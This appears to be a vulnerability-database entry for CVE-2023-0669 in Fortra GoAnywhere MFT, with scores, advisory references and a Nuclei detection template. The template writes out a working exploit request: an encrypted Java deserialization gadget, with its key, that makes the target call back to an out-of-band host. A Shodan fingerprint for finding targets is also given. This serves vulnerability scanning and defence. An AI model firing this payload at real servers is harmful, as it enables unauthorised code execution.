7.2 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
HIGH
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
7.7 High
AI Score
Confidence
High
5.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
MULTIPLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:M/C:P/I:P/A:P
0.97 High
EPSS
Percentile
99.7%
Fortra GoAnywhere MFT is susceptible to remote code execution via unsafe deserialization of an arbitrary attacker-controlled object. This stems from a pre-authentication command injection vulnerability in the License Response Servlet.
id: CVE-2023-0669
info:
name: Fortra GoAnywhere MFT - Remote Code Execution
author: rootxharsh,iamnoooob,dhiyaneshdk,pdresearch
severity: high
description: |
Fortra GoAnywhere MFT is susceptible to remote code execution via unsafe deserialization of an arbitrary attacker-controlled object. This stems from a pre-authentication command injection vulnerability in the License Response Servlet.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: |
Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
reference:
- https://frycos.github.io/vulns4free/2023/02/06/goanywhere-forgotten.html
- https://my.goanywhere.com/webclient/ViewSecurityAdvisories.xhtml#zerodayfeb1
- https://infosec.exchange/@briankrebs/109795710941843934
- https://www.rapid7.com/blog/post/2023/02/03/exploitation-of-goanywhere-mft-zero-day-vulnerability/
- https://nvd.nist.gov/vuln/detail/CVE-2023-0669
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2023-0669
cwe-id: CWE-502
epss-score: 0.96954
epss-percentile: 0.99709
cpe: cpe:2.3:a:fortra:goanywhere_managed_file_transfer:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: fortra
product: goanywhere_managed_file_transfer
shodan-query: http.favicon.hash:1484947000
tags: cve2023,cve,rce,goanywhere,oast,kev,fortra
http:
- raw:
- |
POST /goanywhere/lic/accept HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
bundle={{concat(url_encode(base64(aes_cbc(base64_decode(generate_java_gadget("dns", "http://{{interactsh-url}}", "base64")), base64_decode("Dmmjg5tuz0Vkm4YfSicXG2aHDJVnpBROuvPVL9xAZMo="), base64_decode("QUVTL0NCQy9QS0NTNVBhZA==")))), '$2')}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: body
words:
- 'GoAnywhere'
- type: status
status:
- 500
# digest: 4a0a004730450220207c735e2469d6bf2af5178c7053b234490ccaa8584d568bb036adcc0ca0e16c022100dd5efb4ae7b7db86c7b6caee1806c494eeb8c6ce825ea4d94c449c4a09f4ff96:922c64590222798bb761d5b6d8e72950
frycos.github.io/vulns4free/2023/02/06/goanywhere-forgotten.html
infosec.exchange/@briankrebs/109795710941843934
my.goanywhere.com/webclient/ViewSecurityAdvisories.xhtml#zerodayfeb1
nvd.nist.gov/vuln/detail/CVE-2023-0669
www.rapid7.com/blog/post/2023/02/03/exploitation-of-goanywhere-mft-zero-day-vulnerability/
7.2 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
HIGH
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
7.7 High
AI Score
Confidence
High
5.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
MULTIPLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:M/C:P/I:P/A:P
0.97 High
EPSS
Percentile
99.7%